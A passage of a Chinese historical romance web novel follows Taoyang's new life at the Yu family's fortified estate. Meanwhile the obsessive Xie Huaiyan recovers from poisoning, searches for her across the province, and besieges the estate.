陈月漪也看过去一眼,与桃漾道:“听雪松说,那位是庾氏的三爷,庾四郎君的父亲,应是来让他回庾氏本家过年守岁的。” 桃漾轻轻应了声。 待再走远些,陈月漪在桃漾身边低声道:“阿漾,我觉得庾四郎君对你太不一样,他是不是对你存了心思?” 桃漾闻言轻笑,侧首来看陈月漪:“不是,听闻庾氏的四郎君有一极大的憾事,庾氏自他出生后,再未有过女郎,他之后出生的全是男子,为此,他最大的憾事是没能有一个妹妹。” 陈月漪抬了抬眉,忽然记起来:“这个我知道,之前就听闻过,他逢人就说他想要个妹妹,只是这么多年都未能如愿。” 桃漾‘嗯’了声:“我在淮阳时赠过他香粉,他许是把我当作妹妹一般看待了。”自那夜来到坞堡时,陈月漪就觉得不太对,只是一直未问桃漾。 此时听到桃漾这样说,陈月漪虽仍好奇,却也不问了,和桃漾在外面走了片刻后,两个人再一起回了院中。 庾睿此次前来不过是为了应付夫人,见庾子轩坚持要留在坞堡过年,他也未勉强他,趁夜再回了颍川城。 冬月三十,除夕这日,坞堡里家家户户都燃起了鞭炮声,桃漾也一大早就起来,按着雪松与别人那里学来的方法用糯米煮成粥糊,贴春联。 雪松搬来了凳子,见桃漾要踩上去,急忙道:“姑娘,这种事还是让我来吧。”桃漾对他轻笑:“我一早就瞧见山下很多人家都在贴这个,想试试。” 雪松只好颔首:“那,姑娘慢些。” 院中的雪虽已化尽,却依旧格外的冷,桃漾身上披了件藕荷色的狐裘,绒帽戴在发间,只露出一张冻的红润的姣好面靥,她站在凳子上,仰着下颌,动作还算稳的把对联给贴上。 “阿月,你瞧瞧,歪不歪?” 陈月漪闻言搁下手中木刷,站远了去瞧,道:“有一点点歪,往右边来一些——”两个人来来回回的说着,忙活了许久才算是把对联给贴好。 寒风吹动,桃漾站在院门前,看着贴好的对联,眉眼温和,不禁笑了笑。 她正瞧的认真,身后传来庾子轩的声音:“贴的不错,桃漾,看我拿了什么来。”桃漾闻言回身,见庾子轩手中提了一只竹篮来,里面搁着的是大红色的纸和剪刀。 “今夜守岁,要剪纸祈福的。”庾子轩走上前,问桃漾:“你会剪么?” 桃漾对他颔首。 庾子轩再道:“那你教教我,我来剪个瑞兽送给你,愿你辟邪秽,远恶人。”这是桃漾自幼到大在外面过的第一个除夕夜,往年的除夕,她都是陪在桓馥身边,陪着她剪花、下棋,守完了岁得了压岁钱便去睡下。 桃漾道:“好,你可有喜欢吃的糕点,我和阿月去做些晚上守岁时的糕点。”庾子轩闻言想了想:“就做你最喜欢的莲子糕吧。” —— 除夕守岁这夜,存玉堂里依旧很安静,唯有几个小郎君热闹些。 往年里,天刚微暗时存玉堂里就热热闹闹的,妇人们、郎君们、姑娘们、孩童们聚在一处,欢声笑语不断。 桃漾走了,这府中在意的人没几个,只是自她走后,府中的一切都似是变了样,不禁有人私下道:“当真是晦气,年少时害得二哥哥大病一场,如今还敢毒害二哥哥!” “当初就不该让她来咱们淮阳谢氏!” 谢老夫人被崔嬷嬷扶着在榻上起身,谢怀砚自那日雪夜倒下,至今未醒,她心中闷堵着,气色很差,坐起身后不由轻叹:“当初我就不该放任这件事,应该早就做主把漾丫头送回阳夏的。” 谢怀砚在存玉堂里忤逆她,非要让桃漾住在他的鹿鸣山中,每回桃漾自外回来,都是他带来,她又岂能看不出他是存了什么心思,不过是任由着他胡来罢了。 她总以为谢氏府中的众多儿郎,数他最为稳重,这些年在建康城也历练过,又任豫州刺史,心中怎会没有分寸?可偏偏成了如今这副模样。 崔嬷嬷温声宽慰:“您莫要自责,以二公子的行事,就算您把五姑娘送走了又如何,”崔嬷嬷顿了顿,低声道:“家主不是都动不了她么。” 谢老夫人闻言抬了抬眉,想到了城外小善寺后的清心庵,随后下榻轻叹:“当年他在存玉堂见她第一眼就觉她晦气,长大后怎就能变了心思呢?” 老夫人说着,收拾一番,被崔嬷嬷扶着去了正堂。 临近子时的时候,淮阳城上空再飘落了雪花,簌簌而落,存玉堂这边还都在陪着谢老夫人守岁,墨园里,谢怀砚醒了过来。 空谷就守在榻边,第一个瞧见,刚欲去唤屏风外的大夫和净空,就听到耳边传来一道低沉沙哑的嗓音:“她人呢?” 空谷停住步子,面上的欣喜也瞬时凝住:“公子——”空谷刚开口,外面的人已听到动静走进来,净空见谢怀砚醒来,长出口气,急忙上前:“醒了,我再为你搭——”净空的手刚落在谢怀砚手腕间,被他抬手,神色晦暗,语气生冷:“她人呢!” 他自枕上起身,神色冷寒的看着他们。 净空抬了抬眼皮,低声道:“桃漾姑娘走了,你身上中了毒,昏睡了数十日——”谢怀砚闻言眉心微动,周身气场冷如冰窖,看向低垂着眼眸的空谷和空渊。 两人齐齐跪下,空渊道:“您昏睡过去,家主下了令,属下只派了身边人前去找寻,还,还未找到——”谢怀砚冷呵一声,掀开被褥下榻,被净空上前拦住:“公子,您身上的毒还未清干净,不可乱动啊!” “滚!”他声线冷硬如同利剑穿喉,净空不敢再拦,空谷起身取来大氅,递给他家公子。 谢怀砚身上的鹤氅刚披在肩上,眉心凝住,一口暗红污血自口中吐出——空谷急忙上前递去帕子,谢怀砚接过,神色淡漠的抹去唇角的血,垂眸看向另一侧站着的医师。 他沉声问:“什么毒?” 医师战战兢兢回:“是曼陀罗,此毒经由公子背部伤口处渗入,能让公子昏睡这般久,应是早就被人下了毒——” 谢怀砚闻言不禁失笑,冷的刺骨。 桃漾并未要毒害他。 她那段时日给谢怀砚涂抹在身上的药膏只是为了让他能昏睡个一日一夜。 那夜,在谢蕴的书房内,谢怀砚与谢蕴说他会娶桃漾。 他可以受谢氏族规家法。 谢蕴同意了。 他跪在谢氏祠堂内,由谢蕴亲手对他用鞭笞之刑,谢书易被关在城外别苑那日,不止有人将谢怀砚与桃漾之间的事告诉了谢蕴,当年谢炳之事也都一五一十的写给了谢蕴。 事情已过去多年,谢蕴无法为了一个死去的庶子与谢怀砚再提起,可他下手的每一鞭都带着对幼子深深的怀念,那是自幼养在他身边的孩子,是他和心爱的女人的孩子。 很快,谢怀砚肩背之上渗出血痕,一道又一道,本来只是涂抹在肩背之上的药膏随着鞭伤渗入皮肉,曼陀罗的毒也一点一点渗入体内—— 谢怀砚来到存玉堂时,本来守岁已满是困意的人瞬时精神了,他神色冷沉,谁都未理会,就连往日里他最疼爱的庆小郎君上前,他也未看一眼。 他的眸光落在谢蕴身上,朝他伸出手,语气淡漠:“令牌。” 第58章 冷怎会连一点痕迹都无 淮阳谢氏的府兵部曲掌握在谢蕴手中,谢怀砚在鹿鸣山中昏倒,他身边的人动用不了太多的府兵,唯有拿他家公子的刺史令牌方能调动豫州的兵马。 可调动豫州兵马一事非同小可,空渊和空谷犹豫间,家主谢蕴已来墨园收走了他家公子的刺史令牌,他家公子昏迷期间,豫州一切事物由他代劳。 大夫说他们公子中了毒,肩上的伤 又深的险些要人命,空渊空谷自是没有心思再去关心桃漾逃去了哪里,只一心留在他们公子身边照顾。 谢怀砚一身冷寒之气站在这里,谢蕴清了清嗓子,看他一眼,道:“醒了。”他朝门外的空谷看过去:“这么冷的天,怎么刚醒就让你们公子出来,大夫呢?” 谢老夫人一心挂念着他,此时看到他醒过来,神色终于舒展开,吩咐:“快让大夫来,再给瞧瞧。”除了谢老夫人和谢蕴,其他的人依旧都很安静,不敢言语。 谢怀砚薄唇勾出一抹淡笑,回身对谢老夫人道:“我已无碍,祖母不必挂心。”他说完,眸光敛下,转身大步离去。 谢夫人坐在谢蕴身侧看着他的身影逐渐走远,眉心渐渐皱起。 桃漾现在应该是安全的。 那日她跟谢蕴讨出城文书时便看明白,谢蕴虽应下了她,却不会放过桃漾,在桃漾出淮阳城的那夜,她提前命人准备了两具死尸,想要帮她避开谢蕴的追杀。 可是,根本就没有刺杀的人。 谢怀砚翻身上马出了谢氏府门,驾马往刺史府前去,他在刺史府门前下马时,刚好是子时六刻,大雪纷飞,落满了满身满发,仁德三十二年结束在漫天飞雪中。 今夜除夕,豫州将士都正在家中守夜,督府将军崔寅收到传唤,快马加鞭赶来,上前行礼后,谢怀砚递给他一张画像,淡声吩咐:“找到她。” 崔寅应是,施礼退下,召值守将士立即开始搜查冬月二十三日出城的所有人动向。 谢怀砚身上的毒还未清除干净,面色并不好,他端坐在书案前,提笔落字,写下一封书信后命空渊送出淮阳城。 他起身站在窗边,夜半时分的风冷的刺骨,裹挟着风雪,沁透着冰冷的眉眼。 不多时,胸口上涌,再吐出一口污血后,他抬起指腹神色漠然的抹开,冷冷笑了下,谢氏产业遍布南朝,她又能走到哪里去?无论走去哪里,都得再回到他身边—— 谢怀砚再回到府中已是第二日辰时,谢夫人得知他回来后,提着亲手为他炖的补汤来到墨园,恰逢谢怀砚换了身衣服出门,谢夫人看了眼他的面色,温声道:“大夫说你身上的毒还未全解,需要静养,又要去哪儿?” 谢怀砚垂眸看了眼谢夫人身侧嬷嬷手中提着的食盒,他抬眉轻笑:“母亲这些年在谢氏过的不舒心,更应该养好身子,这些吃食还是留着自己用吧。” 他神色冷漠,带着薄情。 谢夫人在风雪中看他一眼,只要他命人去查,桃漾是如何出的城自是一清二楚,她默了默,轻声道:“深宅府院,受尽磋磨,何必困她。” 谢怀砚冷呵一声:“母亲以为是在帮她么?”他眸中露出鄙薄:“我真心待她,她却如此回报于我,日后等待她的是什么,母亲知道么?” “他是我的人,宠她爱她、弃她折磨她,无论如何,都是我给她的恩赐,何时要他人来干涉了。” 谢夫人看着他,还欲再说,谢怀砚抬步走出,留下冷冷的一句:“一个入了庵的贱婢能在父亲心中多年,母亲该去操心操心自己,怎做出这等自不量力之事来。” 谢夫人面色煞白站在原地,看着他的背影逐渐走远,消失在暗沉雪幕中。 —— 几日后,带兵前去搜查的崔寅快马赶回淮阳回禀,冬月二十三日夜里确实有一辆马车手中拿的是谢氏家主谢蕴给的文书,自出城后,就一路往南行。 在淮阳城外几十里的位置发现一辆掉入山谷的马车,只是不见尸首和马匹,再经过查找,在一处小镇上有一对年轻夫妻曾在天不亮时入住客栈。 崔寅一五一十事无巨细的禀告,说到最后,悄悄嘘了眼上首之人的神色:“在江阳县时有两名布商见色起意,将她们以迷药迷倒,带出了客栈,之后入了青州地界,在山下发现了两具女尸。” 谢怀砚抬眸盯着他。 崔寅继续道:“那两名布商已被手下人捉住,他们说没有动人,只想着带去蜀州能卖个好价钱,她们两个应是夜间醒来欲跳马车逃走,才不慎坠落山崖的。” “人呢?” 崔寅回:“属下先行快马赶回,尸首还在路上。” 谢怀砚起身,大步往书房外走,对空渊道:“备马。” 他自午后赶马至天幕暗下,在竹陵郡与颍川郡交界处见到负责运输尸首的官兵,他翻身下马,崔寅急忙上前打开马车车门,如今是冬日,尸首虽已放了数日却依旧完好无损。 身上穿的是普通人家所用棉布衣,发髻作男子状束起,饰品依旧是那支她最爱用的玉簪,过去这么久衣衫之上依旧有着淡淡的莲子清香。 谢怀砚垂眸冷冷凝着那张面目全非的脸。 随即冷呵一声,对崔寅道:“继续找!” 他下去马车,官兵再将那两名早已是奄奄一息的布商带上前,跪在他面前,两名布商身上颤颤的,直打着哆嗦,求饶道:“大人、公子,我们没做别的,求大人饶命——” 谢怀砚嫌恶的看他们一眼,与崔寅道:“既没什么用,杀了。”他转身大步上马,来到江阳县桃漾住过的那间客栈,掌柜的瞧见是贵人,当即命楼下的客人都先回屋,不再待客。 只小心翼翼的跟在谢怀砚身后。 已过去近半月时日,这间屋子里来来回回再住了好些客人,谢怀砚看过片刻后,未有一语,再下楼离去,走至客栈门前,有一对母女身上挎着包袱想要在此留宿。 小二上前赶人:“今儿不接待客人了,快走吧。” 小女郎梳着双丫髻,一张小脸冻的通红,与她阿娘道:“娘,我冷,我好冷啊——”她把两只小手伸出来,往她阿娘手中塞,被她阿娘捧在手中取暖。 谢怀砚再回淮阳,坐的是马车。 他身量高大,靠在车厢木板,眸光幽深看着炉子里燃烧的旺盛炭火,许久,抬起手中杯盏狠狠摔了出去。 他神色冷沉对空渊吩咐:“传令下去,所有州府、县镇、凡是可以借宿的地方都备上银丝碳,设暖棚,送手炉——” 空渊应是,当即快马赶去离得此处最近的谢氏铺面,将此令传出,再由暗桩点一一传达。 —— 除夕这夜,桃漾和庾子轩一起守岁,剪了好些窗花和瑞兽,一直忙活到子时,再去院中堆了个雪人,桃漾困的就要睁不开眼,连连的打着哈欠。 庾子轩手中握了小雪球往桃漾脸上擦,冰凉凉的雪贴在脸上,桃漾瞬时清醒过来,待终于守完岁,已是仁德三十三年,庾子轩自她这里离开时。 桃漾寻好时机,在地上抓了个雪球就砸在庾子轩颈后,然后一溜烟的钻进屋中,把门给合上。 庾子轩站在院中,先是无奈,随后舒心的笑了笑。 第二日一早,大年初一日,依着坞堡里的习俗,早膳用椒柏酒和桃汤,有驱邪避凶之意,之后再嚼‘胶牙饧’,吃春盘。 虽同属豫州,颍川的习俗与阳夏并不完全相同,桃漾都尝了尝,倒是另有一番滋味。 正月初二日,庾子轩回了庾氏本家。 他年关就是在坞堡里过的,总得回去一趟拜见府中长辈,回到本家后与兄弟好友应酬一番自不必说。 这日,庾子轩终于得了空闲,来到他父亲庾睿的书房,庾睿当时正在桌前作画,见他前来,轻笑道:“这是又要回坞堡去了?” 庾睿年轻时是豫州出了名的玉面郎,生的一副好皮囊,最好品诗作画,为人亦温润有得一个好脾性,庾子轩先是对他点了点头,随后犹豫片刻,试探的问:“父亲,你,你在外面可有什么风流债么?” 庾睿闻言手中作画的笔瞬时顿住,看他一眼:“你这孩子,问的这是什么话!” 庾子 轩抬了抬眉:“我是想说,或许我在外面有一个亲妹妹呢。”庾睿看着他笑了声:“你该不是想妹妹想的疯魔了?让你阿姐听到又要揍你。” 庾子轩直言再问:“若当真有,你认么?” —— 坞堡里的集市要到上元节后出了年关才开市,桃漾和陈月漪这些日子里做了各种花样的香囊、还有一些用料简单普通人可以拿来用的香粉。 庾子轩是在正月初九这日回来的,他一路赶得急,风尘仆仆,来到院中见到桃漾时心中才放松下来,桃漾瞧出几分他的神色,问他:“发生什么事了?” 庾子轩对她摇头:“没什么事,”他自马腹旁的兜袋里取出一只食盒来:“给你带的吃食,怕路上耽搁太久就凉了,所以——比较急。” 桃漾对他莞尔,此时日光已出,洒下来暖烘烘的,坐在树下和庾子轩用了些吃食。 桃漾拿出一只绣了‘鹰’的香囊递给庾子轩:“这几日绣了许多香囊,这个是给你的。”庾子轩自她手中接过,垂眸瞧了瞧,笑道:“是你亲手绣了么?” 桃漾对他‘嗯了声。 庾子轩当即就挂在了腰间。 他在桃漾这里坐了一会儿,回到他的院中后,对雪松吩咐:“继续留意着淮阳谢氏那边的动静。” 雪松应是。 —— 出了上元节,正月十九这日,庾子轩正在坞堡中处理事务,身边人前来回禀:“郎君,桓四郎君来了。”庾子轩闻言先是一喜,随后神色沉下去。 再道:“把他请去水榭,我一会儿便到。” 庾子轩来到水榭时,水榭内不止桓恒,还有一位女郎,是桓恒的九妹妹桓雅,见了面后互相见礼,庾子轩见桓雅手中抱着个汤婆子,不禁笑道:“九妹妹这是冷么?” 桓恒与庾子轩道:“我们来颍川的路上,有人设暖棚给汤婆子,她瞧见上面的花样喜欢,就随手要了一个。”庾子轩纳了闷:“谁家在路上给人送汤婆子?” 桓恒神色变了变,淡声道:“谢怀砚。” 庾子轩闻言手中杯盏捏紧,随后岔开话说起别的事来,桓恒的心思却不在这里,把他九妹妹支开,问庾子轩:“他这般做,可是桃漾出了什么事?” 庾子轩:“……这和桃漾有什么关系,是你想多了。”庾子轩给桓恒添了茶,再道:“听闻你母亲已为你和荀氏女郎定了亲,你该操心好自己的事。” 桓恒神色落寞笑了笑:“我只是想帮她。” 庾子轩看了看桓恒,没有言语,只垂眸饮茶。 往日里桓恒来了坞堡,庾子轩总是要留他住上几日的,这回难得的没有留他,桓恒和桓雅一同离开,庾子轩则回了他的院中。 年关之后,天气逐渐变暖了些,坞堡里的人都开始忙着播种,桃漾和陈月漪的两亩四四方方的田地就在她们院子的后面,桃漾打算种上一半的庄稼,再种上一半的花草。 她和陈月漪午后就出了院子,在田地里规划一番,与她们田地相挨着的还有两户人家,一户是一位母亲带着一个五六岁大的小女孩,还有一户是一位阿婆。 阿婆年迈,早已是耳聋。 那位母亲则是哑,说不了话。 只有那个小女孩跑去田地里和桃漾她们玩了许久,还带着桃漾去看她们家的冬作物。 酉时的时候,桃漾和陈月漪往院中回,庾子轩早已坐在她们院中的桌前等着,桃漾走进前院时,抬眸间先看到的却不是庾子轩,而是站在院门前的桓恒。 他怔怔的看着她,哑声道:“桃漾妹妹。” —— 出了正月后,谢怀砚第一次踏进鹿鸣山。 他长身玉立,站在一片不见日光依旧堆积着雪堆的位置,眸光深邃的望着,在想,是不是扒开这片雪,她就在其中,亦或是,她早就被掩埋在了某个雪堆之下。 官府的人寻不见。 谢氏的人在各州府也未再寻到过她的身影。 不住店么? 不需要银子么? 若还活着,怎会连一点痕迹都无。 自青州那两具尸首后,再没了踪迹,他已命人将青州翻了个底朝天,到底去了哪儿? 夜里,谢怀砚歇在碧月阁,依旧如之前的数日一般,被折磨人的梦境所困,天光还未亮时,他自榻上起身,冷白指节落在太阳穴片刻,抬手摔碎了榻边那只琉玉盏。 他口中一字一句道:“青州——” “若不在青州,那便是颍川——”他呵笑一声,他倒是忘了还有个庾子轩。 第59章 竞让她出来见我 桃漾并不想见到桓恒。 她看到站在门前的人是桓恒的那一刻,微微皱了眉,庾子轩很是合时宜的捕捉到,当即扔下手中图纸往门前走过去,拖住桓恒就往外走,口中说着:“你不是走了么?怎么又回来了?” 桓恒未料到桃漾在庾子轩这里,一时心神恍惚,被庾子轩拖住就走到了院外的游廊上,待他回过神,神色凝重问庾子轩:“桃漾怎么会在你这里?” “她在你这里,你适才为何不与我说?” 庾子轩:“……” 他再拖住桓恒往他的院中走,却是再拖不动,只好道:“桓恒,桃漾与你已经没有关系了,我对你说这些做什么?”庾子轩凝了眉,神色严肃:“你只当今日什么都未瞧见,快走吧。” 桓恒依旧不动脚下步子,默上许久,他情绪沉闷道:“就算没了男女之情,我也是她的表兄,”他神色认真看着庾子轩:“你让我和她说句话。” 庾子轩知道桓恒这半年多时日是如何熬过来的,此时看着他这副神色不禁有些无奈,默上许久,低声道:“你在这等着,我去问问她。” 片刻后,庾子轩再回来,直接推着桓恒往外走,桓恒也就明白了桃漾的意思,桃漾妹妹不再愿意见他—— —— 次日,正月二十日,是坞堡里开市集的日子。 桃漾和陈月漪用过早膳后,装扮一番,扮作年轻夫妻一同去了集市上。 她们去的还算早,摊位就摆在一家茶水铺子旁,陈月漪做的糕点气息香甜,还特意捏了不同的花状,坞堡里无论是妇人还是姑娘瞧见了都喜欢。 她们卖的价格也不贵,很快就被抢购一空。 桃漾做的香囊不似糕点,坞堡里大多是为了生存的人,只有一些年轻的姑娘会来看一看,陈月漪的糕点卖完时,她面前的香囊还有几十只未卖出去。 她站在铺面前,倒是也不急,看着街市上来来往往的人,片刻后与陈月漪道:“咱们摆的位置不太对,你看,这边街市上来往的姑娘家极少。” 陈月漪瞧过去,‘咦’了声:“还真是。阿漾,反正糕点也卖完了,咱们换个地方吧。”陈月漪的话刚落,她们的摊铺前就走来一位穿着虽华丽却显得有几分庸俗的妇人。 在她们身上看了看,笑声道:“我是那边香粉铺子的掌柜,”她抬手给桃漾指了指,再看向桃漾面前的香囊:“适才瞧见有姑娘戴着这香囊,绣工不错。” “我有意把你们的香囊都给买了,你们出个价吧?” 桃漾和陈月漪相视一眼,心中欢喜,神色却自若与妇人回:“二十文一只。”妇人看了看她摊铺上的香囊,拿起一个凑在鼻前闻了闻,与桃漾再笑道:“十五文一只,我便全要了。” 桃漾观着妇人的神色,对妇人莞尔:“这里共有三十四只香囊,我收您三十只的银子,这四只绣的俱是牡丹,华丽富贵,全当送给您佩戴了。” 妇人闻言知她是何意,不禁笑了笑:“你这小郎君,倒是会做生意。” 妇人给了银子,桃漾把香囊装起来递给她,妇人低声再与桃漾道:“是个姑娘吧?”她轻笑:“说实话,你这香囊卖的忒贵,可耐不住绣工好,气味也好闻,我在坞堡里给人做媒,小娘子可有心上人了么?” 桃漾:“……” 她看了看妇人手中的香囊,原来她收这些香囊是为了高价卖给那 些男子们,桃漾对她笑了下:“我虽生的秀气,却是男儿身,我夫人就在身边,您可莫要再开玩笑了。” 她不承认,妇人只好对她笑了笑:“若是香囊卖的好,过几日我还来找你。” 妇人给的这六十文加上糕点卖的二十文,桃漾掂在手里沉甸甸的,对陈月漪笑道:“咱们这叫开门红,比估算的多挣了好些呢。” 陈月漪也笑:“阿漾,说心里话,我本来心里还挺胆怯的,怕一个都卖不出去丢人,没想到做生意还挺简单,也很有意思。” 两个人收拾了摊铺,也已临近午时,去了一家汤饼铺子,每人要了一碗荠菜馄饨,热腾腾的飘着白气,再滴上几滴芝麻香油,洒上菜叶,香气扑鼻。 煮馄饨的是位阿婶,给她们端上来时,笑呵呵道:“都是开春刚挖的荠菜,新鲜着呢。”桃漾拿起汤勺尝了一颗,荠菜的鲜味入了舌尖,她连连点头。 从前在阳夏时,她就最爱吃荠菜馄饨,只是因着谢玉梵对荠菜极为不喜,平日里她们都是一起在桓馥屋中用膳,她也就很少吃过。 偶尔得了空在她屋中吃时,却又不合节气,吃到的都不是新鲜挖出的荠菜。 桃漾和陈月漪用完馄饨,起身离开时,从荷包里抓出几颗桂花糖递给了阿婶的女儿。 自街市上往回走,这里什么样的摊铺都有,再去米面铺子前换了米面,买了些菜籽和花种,行至一家茶水铺子前时,热热闹闹的围了好些人。 桃漾和陈月漪也去凑了热闹,问一位年轻妇人:“阿姐,里面在做什么?” 妇人道:“张阿伯自坞堡外带回些新鲜玩意,大家都正瞧呢,说是在北朝的商队那里买来的。” 桃漾踮起脚尖去瞧,前面人群密密麻麻,依旧瞧的不太真切,她神色好奇,再问年轻妇人:“我只听闻庾四郎君每月里只让固定的人出去采买,北朝的商队怎会来了豫州?” 年轻妇人回身看了看桃漾,笑道:“如今天下已平,南北朝早些日子就已通市,买些北朝的物件不稀奇。”桃漾对她应了声,和陈月漪也挤不进去,就挎着竹篮往院中回了。 回去的路上,陈月漪见桃漾眉头微凝,不知在想着什么,问她:“阿漾,你想什么呢?这么出神。”桃漾闻言回过神:“我在想之前看过的一本节气书,好像说荠菜生于冬日,常在田地以及果林树下。” 桃漾四下里看了看:“我想去挖些来,晚上咱们自己包荠菜馄饨吃。” “好啊!”陈月漪抬手指了指:“那里有片梨树林,阿漾,梨树林下会有么?”桃漾也不敢确定,两个人闲话着一起往梨树林下走,倒是挖了半竹篮的荠菜。 待回到院中,雪松正扛着干柴往后罩房处去,往日里庾子轩这个时辰也总在她这里,她问雪松:“你家郎君呢?” 雪松闻言绷住了嘴。 桃漾看着他,雪松只好叹道:“昨日桓四郎君本是走了的,可今儿又来了,郎君正在前院赶他呢。”桃漾眉心微凝,对他应了声,再道:“晚上吃荠菜馄饨,你和你家郎君一起来。” 雪松笑应下:“谢姑娘。” 晚间,桃漾躺在枕上时,窗外响起了细细密密的滴答声,她起身下榻,推开窗凑着院中灯罩里的昏黄烛火,瞧了好大一会儿的雨,才又回到榻上去。 春雨贵如油,下了这么一夜的雨,正是翻地播种的好时候,一早,桃漾和陈月漪用过早膳后就去了她们的田地,打算把昨个买来的菜籽和花种都撒上。 可她们两个都不会种地。 就请了隔壁田地的阿婶来请教,阿婶口哑不能言,她做手语,她女儿阿梓给桃漾她们解释,就这样在田地里忙忙活活的一整日,不觉间天就黑了。 晚间,桃漾请了阿婶和阿梓来她这里用晚膳,阿婶不肯来,桃漾就再包了荠菜馄饨,给她们送了过去,待到戌时,阿梓手中捧着干干净净的碗来到门前。 桃漾刚沐浴过站在窗边攥发,正巧瞧见她,抬手唤她进来,阿梓进屋后将手中碗搁下,随后看向桃漾,小姑娘声音低低的,一双眸子乌亮:“姐姐,你长的真好看。” 桃漾对她轻笑,拿了糕点给她吃:“日后你帮阿娘做完活,若是无事就来这里玩。”阿梓接过桃漾递来的糕点,轻轻咬了一口,对桃漾道:“阿娘说姐姐包的馄饨很好吃,明儿要做汤饼给姐姐吃。” 桃漾对她点头:“好。” 她见阿梓不舍得咬糕点,把盘子里剩余的都递给她:“阿月姐姐每日都会做糕点,研究一些新的花样,这些都是花样没捏好的,你拿去和你阿娘一起吃。” 盘子里的糕点确实如桃漾所说,花形都不太齐整,阿梓接过来,对桃漾道了谢,回了她家中。 正月二十四的时候,桃漾再去了田地里,她和陈月漪撒下的菜籽和花种已过去了两日,还未发芽,她蹲下身,再仔仔细细的去瞧,依然不见有嫩芽拱出。 正月二十七日,桃漾再来田地时,撒下的菜籽都长了出来,绿油油的拱出了小嫩芽,花种也出来了少许。 正月三十日,又是坞堡里的集市,桃漾和陈月漪卖完带去的糕点和香囊后,回来的时候再换了一袋面粉,经过田地时再去看,她撒下的花种也全都长出了嫩芽。 陈月漪欢喜道:“天气日后越来越暖,不出月余没准就能长出花苞呢,到时咱们再做香粉就用咱们自己种的花。”桃漾对她点头,歪着脑袋揉了揉肚子,轻笑道:“饿了——” —— 琉玉盏摔碎在地的声音空渊和空谷听了这么多年,早已熟悉的入了骨肉,听到屋内的动静,空渊急忙走进来,将一只装了药丸的檀木盒递上前。 “公子已好些日子未能睡的安稳,净空大师说将此物服下去,可让公子安枕。” 谢怀砚敛眸淡淡看了眼,并未拿起,沉声对空渊吩咐:“备马车,去颍川。”他口中的话向来说一不二,空渊也不敢劝,点头应下:“是。” 谢怀砚坐马车往颍川郡去时,崔寅得了令,先行带一队人快马赶至颍川郡,在颍川郡的地界开始搜人,上至颍川城,下到小镇村庄,不放过任何一个地方。 二月初三日,谢怀砚来到颍川,崔寅上前回禀:“属下查了庾四郎君近日来的行踪,除却年后回了趟庾氏本家外,再未外出过。” 谢怀砚闻言眉心微抬:“他在坞堡守岁过年?” 崔寅:“是。” 谢怀砚来到庾氏本家拜访,当时庾氏家主庾珉正与族中人商议要事,闻言抬了抬眉:“谁?谢氏二公子?” 家仆垂首回:“是。” 庾珉不由在心中思忖:“去请三爷先去水榭,我随后便到。”庾氏三爷如今任颍川郡守,归豫州刺史管辖,庾珉思忖一番,该不会是庾三爷做了什么事被谢怀砚给抓住了把柄。 庾珉来到前院花厅时,谢怀砚正坐在桌前和庾三爷品茶闲谈,他神色平和,气度也不显威严,庾珉上前道:“刺史大人前来,怎不让人提前来说一声,我好准备一番设宴款待。” 庾珉此人,从前在建康为官时,便于官场不甚得意,只经营生意是一把好手,颍川庾氏这些年敛财无数,说着,就要给谢怀砚行官礼。 谢怀砚在桌前起身,抬手虚扶住庾珉,语气沉稳:“庾大人说笑,此次前来拜访,该行晚辈之礼。”他对庾珉见礼,庾珉不再说,笑着请他落座。 谢怀砚抬手用了盏茶,与庾珉道:“早些日子家父举办酿酒赛,倒是酿出许多的美酒来,知晓庾大人也极其爱酒,此次我前来,为庾大人 运来了一车。” 庾珉闻言当即爽朗一笑:“怀砚有心了,我早几日还说要去淮阳拜访你父亲,和他讨几壶好酒吃呢。” 几番言语过后,谢怀砚直言道:“此次前来,倒还有一事。”庾珉稍稍收了笑意:“怀砚只管说,若有我庾氏能相助的,定当竭尽全力。” 谢怀砚:“刺史府内早些日子丢失一件珍宝,我命人苦寻数日未果,早几日,有人在颍川郡发现了此物的踪迹——”他淡淡说完,抬手再用了口茶。 庾珉闻言当即对庾三爷道:“你是颍川郡守,这种事本就该你负责,既在咱们颍川郡出现,现在就命人去搜查。”庾三爷当即起身,与谢怀砚道:“不知是何珍宝?” 谢怀砚回身看上一眼:“让空渊随庾三爷一同前去便是。” 庾三爷不再多问,当即离开。 谢怀砚和庾珉继续坐在水榭内,聊些豫州之事,也提一些生意上的事,不多时,崔寅上前求见,一副欲言又止的神色,谢怀砚看他一眼,道:“但说无妨。” 崔寅禀道:“大人,属下已查到了具体位置。” 谢怀砚抬眸来看他,示意他继续说。 崔寅再道:“颍川城外南二十里。”谢怀砚对他淡淡‘嗯’了声:“下去吧。”他垂眸饮茶不再说,庾珉看他一眼,已是明了他此次前来拜访他是何目的。 庾珉也拿起杯盏用了口茶:“颍川城外南二十里正是二郎和四郎经营坞堡所在之地,刺史府丢失了物件,便是朝中要事,正好我今日也无事,陪怀砚去栖云坞走一趟。” 谢怀砚轻笑:“有劳庾大人。” —— 来到栖云坞时已是申时末,守门部曲前去与庾子轩通禀:“郎君,淮阳谢氏谢二公子递了拜帖。”庾子轩闻言神色微变,问:“他人在哪?” 部曲回:“就在坞堡外。” 默上片刻,庾子轩不满道:“就说我不在,不见。” 部曲应是后前去坞堡门前再回禀,不过一盏茶的时辰再赶回,神色慌张:“郎君,咱们的坞堡被官兵给围住了——” 庾子轩闻言当即站起身:“什么?” 他抬眸往坞堡正门的位置看过去,神色凝紧:“他谢怀砚竟敢公而堂之的围住庾氏坞堡,反了他了,去,放信号弹给颍川城的人。” 庾子轩说完,大步往坞堡门前去,他登上坞堡城墙,垂眸看着围的严严密密的官兵,眸光再落到那辆华盖马车上,高声道:“怀砚兄这是何意?” 马车车门被打开,谢怀砚端坐在马车内,抬眸冷冷看了庾子轩一眼,他神色不虞,周身冷寒,没有耐性与庾子轩多言,声音暗沉道:“让她出来见我。” 庾子轩抬眉:“怀砚兄在说什么,什么她?我怎么听不懂。” 谢怀砚低笑一声,起身自马车内走出,他身披墨色鹤氅,抬手接过空谷递来的弓弩,在手中随意拨动,神色淡漠:“我与你二兄有些交情,实在不忍他一手建立的坞堡血流成河。” 庾子轩神色不变。 谢怀砚凝他一眼,持弓拉箭,正对着庾子轩的眉眼:“豫州刺史搜查,拒不配合,庾四郎是想连累整个庾氏么?” 他声线冷沉,一字一句,庾子轩呵笑一声,对着坞堡内把守部曲下令:“防守!就算是死,也不得放任何一个人进来!”庾子轩话落,一道利箭在他颈边擦过,堪堪错过半指。 这是告诫。 与此同时,再有一辆马车辘辘而行向着坞堡赶来。 